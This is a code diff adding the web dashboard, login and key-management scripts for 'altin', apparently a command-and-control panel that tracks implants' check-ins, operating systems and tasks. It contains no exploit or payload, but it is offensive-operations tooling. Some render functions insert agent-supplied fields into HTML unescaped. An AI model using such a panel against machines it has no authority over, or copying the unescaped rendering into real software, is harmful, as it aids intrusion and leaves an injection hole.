// The server writes naive *local* timestamps (datetime.now()) but serialises them
|
||||||
|
// with a GMT/UTC label, so parsing that label as UTC makes every timestamp look
|
||||||
|
// hours in the past. Here that silently pinned every live agent to "Inactive".
|
||||||
|
//
|
||||||
|
// Rule: a real numeric offset (or Z) is authoritative and is trusted as-is. A bare
|
||||||
|
// GMT/UTC label on an otherwise naive value is that bug, so the wall-clock fields
|
||||||
|
// are re-read as local time instead.
|
||||||
|
//
|
||||||
|
// This is only exact when the browser and the server share a timezone, which holds
|
||||||
|
// for single-host deployments. The real fix is datetime.now(timezone.utc) in
|
||||||
|
// server/altin/agent.py.
|
||||||
|
const parseServerTime = (value) => {
|
||||||
|
if (!value) return NaN;
|
||||||
|
if (typeof value === 'number') return value;
|
||||||
|
if (/^\d{10,}$/.test(String(value).trim())) return Number(value);
|
||||||
|
|
||||||
|
const text = String(value).trim();
|
||||||
|
|
||||||
|
if (/[+-]\d{2}:?\d{2}$/.test(text) || /Z$/i.test(text)) {
|
||||||
|
return new Date(text).getTime();
|
||||||
|
}
|
||||||
|
|
||||||
|
const iso = text.match(/^(?:[A-Za-z]{3},?\s*)?(\d{4})-(\d{2})-(\d{2})[T ](\d{2}):(\d{2}):(\d{2})/);
|
||||||
|
if (iso) {
|
||||||
|
return new Date(+iso[1], +iso[2] - 1, +iso[3], +iso[4], +iso[5], +iso[6]).getTime();
|
||||||
|
}
|
||||||
|
|
||||||
|
const rfc = text.match(/^[A-Za-z]{3},?\s*(\d{1,2})\s+([A-Za-z]{3})\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})/);
|
||||||
|
if (rfc) {
|
||||||
|
const months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
|
||||||
|
const month = months.indexOf(rfc[2].toLowerCase());
|
||||||
|
if (month >= 0) {
|
||||||
|
return new Date(+rfc[3], month, +rfc[1], +rfc[4], +rfc[5], +rfc[6]).getTime();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new Date(text).getTime();
|
||||||
|
};
|
||||||
|
|
||||||
|
const formatTimeAgo = (value) => {
|
||||||
|
const time = parseServerTime(value);
|
||||||
|
if (!Number.isFinite(time)) return 'unknown';
|
||||||
|
|
||||||
|
const delta = Math.max(0, Date.now() - time);
|
||||||
|
const minutes = Math.floor(delta / 60000);
|
||||||
|
const hours = Math.floor(minutes / 60);
|
||||||
|
const days = Math.floor(hours / 24);
|
||||||
|
|
||||||
|
if (days > 0) return `${days}d ago`;
|
||||||
|
if (hours > 0) return `${hours}h ago`;
|
||||||
|
if (minutes > 0) return `${minutes}m ago`;
|
||||||
|
return 'just now';
|
||||||
|
};
|
||||||
|
|
||||||
|
const isAgentActive = (agent) => {
|
||||||
|
const lastSeen = parseServerTime(agent.last_checkin);
|
||||||
|
if (!Number.isFinite(lastSeen)) return false;
|
||||||
|
return (Date.now() - lastSeen) < ACTIVE_WINDOW_MS;
|
||||||
|
};
|
||||||
|
|
||||||
|
const buildCountMap = (items, keyFn) => {
|
||||||
|
const map = new Map();
|
||||||
|
items.forEach((item) => {
|
||||||
|
const key = keyFn(item) || 'unknown';
|
||||||
|
map.set(key, (map.get(key) || 0) + 1);
|
||||||
|
});
|
||||||
|
return [...map.entries()].sort((a, b) => b[1] - a[1]);
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderMetrics = () => {
|
||||||
|
const sent = state.tasks.filter((task) => task.sent).length;
|
||||||
|
const completed = state.tasks.filter((task) => task.completed).length;
|
||||||
|
const active = state.agents.filter(isAgentActive).length;
|
||||||
|
const inactive = state.agents.length - active;
|
||||||
|
// A 0 here would read as "no tasks exist" when the truth is "we could not ask".
|
||||||
|
const taskValue = state.tasksUnavailable ? UNAVAILABLE : formatNumber(state.tasks.length);
|
||||||
|
const taskNote = state.tasksUnavailable ? 'task endpoint returned an error' : null;
|
||||||
|
|
||||||
|
els.metricAgents.textContent = formatNumber(state.agents.length);
|
||||||
|
els.metricActive.textContent = formatNumber(active);
|
||||||
|
els.metricInactive.textContent = formatNumber(inactive);
|
||||||
|
els.metricTasks.textContent = taskValue;
|
||||||
|
els.metricSent.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(sent);
|
||||||
|
els.metricCompleted.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(completed);
|
||||||
|
};
|
||||||
|
|
||||||
|
const drawPieChart = (canvas, data) => {
|
||||||
|
const ctx = canvas.getContext('2d');
|
||||||
|
const dpr = Math.max(1, window.devicePixelRatio || 1);
|
||||||
|
const size = Math.floor(canvas.clientWidth);
|
||||||
|
|
||||||
|
canvas.width = size * dpr;
|
||||||
|
canvas.height = size * dpr;
|
||||||
|
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||||
|
ctx.clearRect(0, 0, size, size);
|
||||||
|
|
||||||
|
const total = data.reduce((sum, item) => sum + item.value, 0);
|
||||||
|
const center = size / 2;
|
||||||
|
const radius = size * 0.36;
|
||||||
|
let startAngle = -Math.PI / 2;
|
||||||
|
|
||||||
|
ctx.save();
|
||||||
|
ctx.translate(center, center);
|
||||||
|
|
||||||
|
if (!total) {
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(0, 0, radius, 0, Math.PI * 2);
|
||||||
|
ctx.fillStyle = 'rgba(255,255,255,0.03)';
|
||||||
|
ctx.fill();
|
||||||
|
ctx.lineWidth = 1;
|
||||||
|
ctx.strokeStyle = 'rgba(255,255,255,0.08)';
|
||||||
|
ctx.stroke();
|
||||||
|
ctx.restore();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
data.forEach((item, index) => {
|
||||||
|
const angle = (item.value / total) * Math.PI * 2;
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(0, 0);
|
||||||
|
ctx.arc(0, 0, radius, startAngle, startAngle + angle);
|
||||||
|
ctx.closePath();
|
||||||
|
ctx.fillStyle = palette[index % palette.length];
|
||||||
|
ctx.fill();
|
||||||
|
startAngle += angle;
|
||||||
|
});
|
||||||
|
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(0, 0, radius * 0.58, 0, Math.PI * 2);
|
||||||
|
ctx.fillStyle = getComputedStyle(document.documentElement).getPropertyValue('--bg-panel');
|
||||||
|
ctx.fill();
|
||||||
|
|
||||||
|
ctx.restore();
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderDonut = ({ canvas, legend, totalChip, centerTotal, subtitle, keyFn, caption, emptyLabel }) => {
|
||||||
|
const counts = buildCountMap(state.agents, keyFn);
|
||||||
|
const total = state.agents.length;
|
||||||
|
const slices = counts.map(([name, value]) => ({ name, value }));
|
||||||
|
|
||||||
|
totalChip.textContent = formatNumber(total);
|
||||||
|
centerTotal.textContent = formatNumber(total);
|
||||||
|
subtitle.textContent = total ? caption : 'no agents registered';
|
||||||
|
|
||||||
|
if (!slices.length) {
|
||||||
|
legend.innerHTML = `<div class="empty-state">${emptyLabel}</div>`;
|
||||||
|
drawPieChart(canvas, []);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
legend.innerHTML = slices.map((item, index) => `
|
||||||
|
<div class="legend-item">
|
||||||
|
<div class="legend-key">
|
||||||
|
<span class="legend-swatch" style="background:${palette[index % palette.length]}"></span>
|
||||||
|
<span class="legend-name">${escapeHTML(item.name)}</span>
|
||||||
|
</div>
|
||||||
|
<span class="legend-count">${item.value}</span>
|
||||||
|
</div>
|
||||||
|
`).join('');
|
||||||
|
|
||||||
|
drawPieChart(canvas, slices);
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderCharts = () => {
|
||||||
|
renderDonut({
|
||||||
|
canvas: els.chartCanvas,
|
||||||
|
legend: els.legendList,
|
||||||
|
totalChip: els.chartTotal,
|
||||||
|
centerTotal: els.chartTotalCenter,
|
||||||
|
subtitle: els.chartSubtitle,
|
||||||
|
keyFn: (agent) => agent.implant_id,
|
||||||
|
caption: 'agents by implant type',
|
||||||
|
emptyLabel: 'No implant types available yet.',
|
||||||
|
});
|
||||||
|
|
||||||
|
renderDonut({
|
||||||
|
canvas: els.osChartCanvas,
|
||||||
|
legend: els.osLegendList,
|
||||||
|
totalChip: els.osChartTotal,
|
||||||
|
centerTotal: els.osChartTotalCenter,
|
||||||
|
subtitle: els.osChartSubtitle,
|
||||||
|
keyFn: (agent) => agent.os,
|
||||||
|
caption: 'agents by operating system',
|
||||||
|
emptyLabel: 'No operating systems available yet.',
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderRecentAgents = () => {
|
||||||
|
const recent = [...state.agents].sort((a, b) => new Date(b.last_checkin) - new Date(a.last_checkin)).slice(0, 6);
|
||||||
|
|
||||||
|
if (!recent.length) {
|
||||||
|
els.recentList.innerHTML = '<div class="empty-state">No agents have checked in yet.</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
els.recentList.innerHTML = recent.map((agent) => `
|
||||||
|
<article class="recent-item">
|
||||||
|
<div class="recent-topline">
|
||||||
|
<div class="recent-strong">${agent.ip}</div>
|
||||||
|
<span class="status-chip">${agent.os}</span>
|
||||||
|
</div>
|
||||||
|
<div class="recent-meta">
|
||||||
|
<span>${agent.implant_id}</span>
|
||||||
|
<span>${formatTimeAgo(agent.last_checkin)}</span>
|
||||||
|
<span>${(agent.tags || []).length} tags</span>
|
||||||
|
</div>
|
||||||
|
</article>
|
||||||
|
`).join('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderHeaderMeta = () => {
|
||||||
|
const server = state.serverUrl.replace(/^https?:\/\//, '');
|
||||||
|
if (els.serverChip) {
|
||||||
|
els.serverChip.textContent = server;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const sortAgents = () => {
|
||||||
|
state.agents.sort((a, b) => {
|
||||||
|
const ipCompare = (a.ip || '').localeCompare(b.ip || '', undefined, { numeric: true, sensitivity: 'base' });
|
||||||
|
if (ipCompare !== 0) return ipCompare;
|
||||||
|
return (a.implant_id || '').localeCompare(b.implant_id || '', undefined, { sensitivity: 'base' });
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const loadOverview = async () => {
|
||||||
|
setError('');
|
||||||
|
state.tasksUnavailable = false;
|
||||||
|
|
||||||
|
// Settled rather than all: the agents and tasks endpoints are independent, and one
|
||||||
|
// failing must not discard the other's data. /api/tasks in particular 500s whenever a
|
||||||
|
// task references a deleted agent, which would otherwise blank the whole dashboard.
|
||||||
|
const [agentsOutcome, tasksOutcome] = await Promise.allSettled([
|
||||||
|
loadJSON('/api/agents'),
|
||||||
|
loadJSON('/api/tasks'),
|
||||||
|
]);
|
||||||
|
|
||||||
|
const agentsFailed = agentsOutcome.status === 'rejected';
|
||||||
|
const tasksFailed = tasksOutcome.status === 'rejected';
|
||||||
|
|
||||||
|
state.agents = agentsFailed ? [] : (agentsOutcome.value.agents || []);
|
||||||
|
if (!agentsFailed) sortAgents();
|
||||||
|
|
||||||
|
state.tasks = tasksFailed ? [] : (tasksOutcome.value.tasks || []);
|
||||||
|
state.tasksUnavailable = tasksFailed;
|
||||||
|
|
||||||
|
renderMetrics();
|
||||||
|
renderCharts();
|
||||||
|
renderRecentAgents();
|
||||||
|
renderHeaderMeta();
|
||||||
|
|
||||||
|
if (agentsFailed) {
|
||||||
|
setError(agentsOutcome.reason?.message || 'Failed to load agents.');
|
||||||
|
els.legendList.innerHTML = '<div class="empty-state">Unable to load overview data.</div>';
|
||||||
|
els.osLegendList.innerHTML = '<div class="empty-state">Unable to load overview data.</div>';
|
||||||
|
els.recentList.innerHTML = '<div class="empty-state">Unable to load recent agents.</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// A task failure is not fatal - the task cards fall back to an em dash and the
|
||||||
|
// rest of the dashboard is still accurate - so it is reported here rather than
|
||||||
|
// blanking the page.
|
||||||
|
if (tasksFailed) {
|
||||||
|
setError(tasksOutcome.reason?.message || 'Failed to load tasks.');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeTheme = () => {
|
||||||
|
setTheme(getTheme());
|
||||||
|
els.themeToggle.addEventListener('click', () => {
|
||||||
|
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeLogout = () => {
|
||||||
|
els.logoutButton.addEventListener('click', () => {
|
||||||
|
localStorage.removeItem(STORAGE_KEYS.token);
|
||||||
|
redirectToLogin();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const cacheElements = () => {
|
||||||
|
els.themeToggle = document.getElementById('themeToggle');
|
||||||
|
els.logoutButton = document.getElementById('logoutButton');
|
||||||
|
els.pageError = document.getElementById('pageError');
|
||||||
|
els.serverChip = document.getElementById('serverChip');
|
||||||
|
els.metricAgents = document.getElementById('metricAgents');
|
||||||
|
els.metricActive = document.getElementById('metricActive');
|
||||||
|
els.metricInactive = document.getElementById('metricInactive');
|
||||||
|
els.metricTasks = document.getElementById('metricTasks');
|
||||||
|
els.metricSent = document.getElementById('metricSent');
|
||||||
|
els.metricCompleted = document.getElementById('metricCompleted');
|
||||||
|
els.chartCanvas = document.getElementById('chartCanvas');
|
||||||
|
els.chartTotal = document.getElementById('chartTotal');
|
||||||
|
els.chartTotalCenter = document.getElementById('chartTotalCenter');
|
||||||
|
els.chartSubtitle = document.getElementById('chartSubtitle');
|
||||||
|
els.legendList = document.getElementById('legendList');
|
||||||
|
els.osChartCanvas = document.getElementById('osChartCanvas');
|
||||||
|
els.osChartTotal = document.getElementById('osChartTotal');
|
||||||
|
els.osChartTotalCenter = document.getElementById('osChartTotalCenter');
|
||||||
|
els.osChartSubtitle = document.getElementById('osChartSubtitle');
|
||||||
|
els.osLegendList = document.getElementById('osLegendList');
|
||||||
|
els.recentList = document.getElementById('recentList');
|
||||||
|
};
|
||||||
|
|
||||||
|
const main = async () => {
|
||||||
|
if (!requireAuth()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
cacheElements();
|
||||||
|
initializeTheme();
|
||||||
|
initializeLogout();
|
||||||
|
await loadOverview();
|
||||||
|
window.addEventListener('resize', renderCharts);
|
||||||
|
};
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', main);
|
||||||
|
})();
|
||||||
193
webui/assets/js/auth.js
Normal file
193
webui/assets/js/auth.js
Normal file
@ -0,0 +1,193 @@
|
|||||||
|
(() => {
|
||||||
|
const STORAGE_KEYS = {
|
||||||
|
theme: 'altin.theme',
|
||||||
|
token: 'altin.token',
|
||||||
|
serverUrl: 'altin.serverUrl',
|
||||||
|
savedServers: 'altin.savedServers',
|
||||||
|
};
|
||||||
|
|
||||||
|
const state = {
|
||||||
|
pendingLogin: null,
|
||||||
|
};
|
||||||
|
|
||||||
|
const els = {};
|
||||||
|
|
||||||
|
const readJSON = (key, fallback) => {
|
||||||
|
try {
|
||||||
|
const raw = localStorage.getItem(key);
|
||||||
|
return raw ? JSON.parse(raw) : fallback;
|
||||||
|
} catch {
|
||||||
|
return fallback;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const writeJSON = (key, value) => {
|
||||||
|
localStorage.setItem(key, JSON.stringify(value));
|
||||||
|
};
|
||||||
|
|
||||||
|
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||||
|
|
||||||
|
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||||
|
|
||||||
|
const setTheme = (theme) => {
|
||||||
|
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||||
|
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||||
|
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||||
|
if (els.themeToggle) {
|
||||||
|
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||||
|
els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const showMessage = (message, tone = '') => {
|
||||||
|
if (!els.loginMessage) return;
|
||||||
|
els.loginMessage.textContent = message;
|
||||||
|
els.loginMessage.dataset.tone = tone;
|
||||||
|
};
|
||||||
|
|
||||||
|
const getSavedServers = () => {
|
||||||
|
const servers = readJSON(STORAGE_KEYS.savedServers, []);
|
||||||
|
return Array.isArray(servers) ? servers : [];
|
||||||
|
};
|
||||||
|
|
||||||
|
const saveServerEntry = ({ url, username }) => {
|
||||||
|
const servers = getSavedServers();
|
||||||
|
const normalizedUrl = normalizeServer(url);
|
||||||
|
const existingIndex = servers.findIndex((entry) => entry.url === normalizedUrl);
|
||||||
|
const entry = {
|
||||||
|
url: normalizedUrl,
|
||||||
|
label: normalizedUrl,
|
||||||
|
lastUsed: new Date().toISOString(),
|
||||||
|
};
|
||||||
|
|
||||||
|
if (existingIndex >= 0) {
|
||||||
|
servers[existingIndex] = entry;
|
||||||
|
} else {
|
||||||
|
servers.unshift(entry);
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(STORAGE_KEYS.savedServers, servers.slice(0, 10));
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderSavedServers = () => {
|
||||||
|
const servers = getSavedServers();
|
||||||
|
if (!els.savedServerWrap || !els.savedServer) return;
|
||||||
|
|
||||||
|
if (!servers.length) {
|
||||||
|
els.savedServerWrap.classList.add('hidden');
|
||||||
|
els.savedServer.innerHTML = '';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
els.savedServerWrap.classList.remove('hidden');
|
||||||
|
els.savedServer.innerHTML = [
|
||||||
|
'<option value="">Select a saved server</option>',
|
||||||
|
...servers.map((entry, index) => `<option value="${index}">${entry.label || entry.url}</option>`),
|
||||||
|
].join('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const applyServerSelection = (index) => {
|
||||||
|
const servers = getSavedServers();
|
||||||
|
if (index === '' || index == null) return;
|
||||||
|
const entry = servers[Number(index)];
|
||||||
|
if (!entry) return;
|
||||||
|
|
||||||
|
els.serverUrl.value = entry.url;
|
||||||
|
showMessage(`Loaded ${entry.label || entry.url}`, '');
|
||||||
|
};
|
||||||
|
|
||||||
|
const goHome = () => {
|
||||||
|
window.location.href = '/index.html';
|
||||||
|
};
|
||||||
|
|
||||||
|
const persistAuth = ({ token, url, username }) => {
|
||||||
|
localStorage.setItem(STORAGE_KEYS.token, token);
|
||||||
|
localStorage.setItem(STORAGE_KEYS.serverUrl, normalizeServer(url));
|
||||||
|
};
|
||||||
|
|
||||||
|
const login = async (event) => {
|
||||||
|
event.preventDefault();
|
||||||
|
showMessage('Signing in…');
|
||||||
|
|
||||||
|
const url = normalizeServer(els.serverUrl.value);
|
||||||
|
const username = els.username.value.trim();
|
||||||
|
const password = els.password.value;
|
||||||
|
|
||||||
|
if (!url || !username || !password) {
|
||||||
|
showMessage('All fields are required.', 'error');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const response = await fetch(`${url}/api/login`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
},
|
||||||
|
body: JSON.stringify({ username, password }),
|
||||||
|
});
|
||||||
|
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(payload.message || 'Login failed.');
|
||||||
|
}
|
||||||
|
|
||||||
|
persistAuth({ token: payload.token, url, username });
|
||||||
|
if (els.rememberServer?.checked) {
|
||||||
|
saveServerEntry({ url, username });
|
||||||
|
renderSavedServers();
|
||||||
|
}
|
||||||
|
|
||||||
|
showMessage('Login successful.', 'success');
|
||||||
|
goHome();
|
||||||
|
} catch (error) {
|
||||||
|
showMessage(error.message || 'Unable to reach the server.', 'error');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeThemeToggle = () => {
|
||||||
|
setTheme(getTheme());
|
||||||
|
els.themeToggle?.addEventListener('click', () => {
|
||||||
|
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeSavedServerPicker = () => {
|
||||||
|
renderSavedServers();
|
||||||
|
els.savedServer?.addEventListener('change', (event) => applyServerSelection(event.target.value));
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeLoginHandlers = () => {
|
||||||
|
els.loginForm?.addEventListener('submit', login);
|
||||||
|
};
|
||||||
|
|
||||||
|
const restoreDefaults = () => {
|
||||||
|
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||||
|
|
||||||
|
if (serverUrl) {
|
||||||
|
els.serverUrl.value = serverUrl;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const cacheElements = () => {
|
||||||
|
els.themeToggle = document.getElementById('themeToggle');
|
||||||
|
els.loginForm = document.getElementById('loginForm');
|
||||||
|
els.serverUrl = document.getElementById('serverUrl');
|
||||||
|
els.username = document.getElementById('username');
|
||||||
|
els.password = document.getElementById('password');
|
||||||
|
els.loginMessage = document.getElementById('loginMessage');
|
||||||
|
els.savedServerWrap = document.getElementById('savedServerWrap');
|
||||||
|
els.savedServer = document.getElementById('savedServer');
|
||||||
|
els.rememberServer = document.getElementById('rememberServer');
|
||||||
|
};
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
|
cacheElements();
|
||||||
|
initializeThemeToggle();
|
||||||
|
restoreDefaults();
|
||||||
|
initializeSavedServerPicker();
|
||||||
|
initializeLoginHandlers();
|
||||||
|
showMessage('Choose a server and sign in to continue.');
|
||||||
|
});
|
||||||
|
})();
|
||||||
344
webui/assets/js/keys.js
Normal file
344
webui/assets/js/keys.js
Normal file
@ -0,0 +1,344 @@
|
|||||||
|
(() => {
|
||||||
|
const STORAGE_KEYS = {
|
||||||
|
theme: 'altin.theme',
|
||||||
|
token: 'altin.token',
|
||||||
|
serverUrl: 'altin.serverUrl',
|
||||||
|
};
|
||||||
|
|
||||||
|
const state = {
|
||||||
|
serverUrl: '',
|
||||||
|
token: '',
|
||||||
|
keys: [],
|
||||||
|
filteredKeys: [],
|
||||||
|
search: '',
|
||||||
|
editingKey: null,
|
||||||
|
revealedKeys: new Set(),
|
||||||
|
};
|
||||||
|
|
||||||
|
const els = {};
|
||||||
|
|
||||||
|
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||||
|
|
||||||
|
const escapeHTML = (value) => String(value ?? '')
|
||||||
|
.replace(/&/g, '&')
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"')
|
||||||
|
.replace(/'/g, ''');
|
||||||
|
|
||||||
|
const setTheme = (theme) => {
|
||||||
|
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||||
|
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||||
|
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||||
|
if (els.themeToggle) {
|
||||||
|
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||||
|
|
||||||
|
const redirectToLogin = () => {
|
||||||
|
window.location.href = '/login.html';
|
||||||
|
};
|
||||||
|
|
||||||
|
const requireAuth = () => {
|
||||||
|
const token = localStorage.getItem(STORAGE_KEYS.token);
|
||||||
|
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||||
|
|
||||||
|
if (!token || !serverUrl) {
|
||||||
|
redirectToLogin();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
state.token = token;
|
||||||
|
state.serverUrl = normalizeServer(serverUrl);
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
const apiFetch = async (path, options = {}) => {
|
||||||
|
const headers = new Headers(options.headers || {});
|
||||||
|
headers.set('Authorization', state.token);
|
||||||
|
|
||||||
|
if (options.body && !headers.has('Content-Type')) {
|
||||||
|
headers.set('Content-Type', 'application/json');
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await fetch(`${state.serverUrl}${path}`, {
|
||||||
|
...options,
|
||||||
|
headers,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (response.status === 401) {
|
||||||
|
redirectToLogin();
|
||||||
|
throw new Error('Unauthorized');
|
||||||
|
}
|
||||||
|
|
||||||
|
return response;
|
||||||
|
};
|
||||||
|
|
||||||
|
const loadJSON = async (path) => {
|
||||||
|
const response = await apiFetch(path);
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(payload.message || `Request failed for ${path}`);
|
||||||
|
}
|
||||||
|
return payload;
|
||||||
|
};
|
||||||
|
|
||||||
|
const setMessage = (message, tone = '') => {
|
||||||
|
if (!els.keyModalMessage) return;
|
||||||
|
els.keyModalMessage.textContent = message;
|
||||||
|
els.keyModalMessage.dataset.tone = tone;
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderServer = () => {
|
||||||
|
if (els.serverChip) {
|
||||||
|
els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, '');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const formatKey = (key) => state.revealedKeys.has(key.id)
|
||||||
|
? `<span class="key-mask revealed">${escapeHTML(key.key)}</span>`
|
||||||
|
: '<span class="key-mask">••••••••••••</span>';
|
||||||
|
|
||||||
|
const renderTable = () => {
|
||||||
|
const query = state.search.trim().toLowerCase();
|
||||||
|
const keys = state.keys.filter((key) => {
|
||||||
|
if (!query) return true;
|
||||||
|
return [key.id, key.name, key.key].some((value) => String(value || '').toLowerCase().includes(query));
|
||||||
|
});
|
||||||
|
|
||||||
|
state.filteredKeys = keys;
|
||||||
|
els.keysCount.textContent = `${keys.length} total`;
|
||||||
|
|
||||||
|
if (!keys.length) {
|
||||||
|
els.keysTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">No keys match the current search.</div></td></tr>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
els.keysTableBody.innerHTML = keys.map((key) => `
|
||||||
|
<tr>
|
||||||
|
<td>${escapeHTML(key.id)}</td>
|
||||||
|
<td>${escapeHTML(key.name)}</td>
|
||||||
|
<td>${formatKey(key)}</td>
|
||||||
|
<td>
|
||||||
|
<div class="table-actions">
|
||||||
|
<button class="button-secondary" type="button" data-key-action="toggle" data-key-id="${escapeHTML(key.id)}">${state.revealedKeys.has(key.id) ? 'Hide' : 'Show'}</button>
|
||||||
|
<button class="button-secondary" type="button" data-key-action="copy" data-key-id="${escapeHTML(key.id)}">Copy</button>
|
||||||
|
<button class="button-secondary" type="button" data-key-action="edit" data-key-id="${escapeHTML(key.id)}">Edit</button>
|
||||||
|
<button class="button" type="button" data-key-action="delete" data-key-id="${escapeHTML(key.id)}">Delete</button>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
`).join('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const loadKeys = async () => {
|
||||||
|
const payload = await loadJSON('/api/keys');
|
||||||
|
state.keys = payload.keys || [];
|
||||||
|
state.keys.sort((a, b) => (a.name || '').localeCompare(b.name || '', undefined, { sensitivity: 'base' }));
|
||||||
|
renderTable();
|
||||||
|
};
|
||||||
|
|
||||||
|
const openModal = (key = null) => {
|
||||||
|
state.editingKey = key;
|
||||||
|
els.keyModal.classList.add('is-open');
|
||||||
|
els.keyModal.classList.remove('hidden');
|
||||||
|
els.keyModal.setAttribute('aria-hidden', 'false');
|
||||||
|
els.keyModalTitle.textContent = key ? 'Replace key' : 'Create key';
|
||||||
|
els.saveKeyButton.textContent = key ? 'Replace key' : 'Save key';
|
||||||
|
els.keyName.value = key?.name || '';
|
||||||
|
els.keyValue.value = key?.key || '';
|
||||||
|
setMessage('');
|
||||||
|
els.keyName.focus();
|
||||||
|
};
|
||||||
|
|
||||||
|
const closeModal = () => {
|
||||||
|
els.keyModal.classList.remove('is-open');
|
||||||
|
els.keyModal.classList.add('hidden');
|
||||||
|
els.keyModal.setAttribute('aria-hidden', 'true');
|
||||||
|
state.editingKey = null;
|
||||||
|
setMessage('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const saveKey = async () => {
|
||||||
|
const name = els.keyName.value.trim();
|
||||||
|
const key = els.keyValue.value.trim();
|
||||||
|
if (!name || !key) {
|
||||||
|
setMessage('Name and key are required.', 'error');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setMessage(state.editingKey ? 'Updating key…' : 'Creating key…');
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (state.editingKey) {
|
||||||
|
await apiFetch('/api/keys', {
|
||||||
|
method: 'DELETE',
|
||||||
|
body: JSON.stringify({ id: state.editingKey.id }),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await apiFetch('/api/keys', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ name, key }),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
throw new Error(payload.message || 'Unable to save key.');
|
||||||
|
}
|
||||||
|
|
||||||
|
await loadKeys();
|
||||||
|
closeModal();
|
||||||
|
} catch (error) {
|
||||||
|
setMessage(error.message || 'Unable to save key.', 'error');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const deleteKey = async (id) => {
|
||||||
|
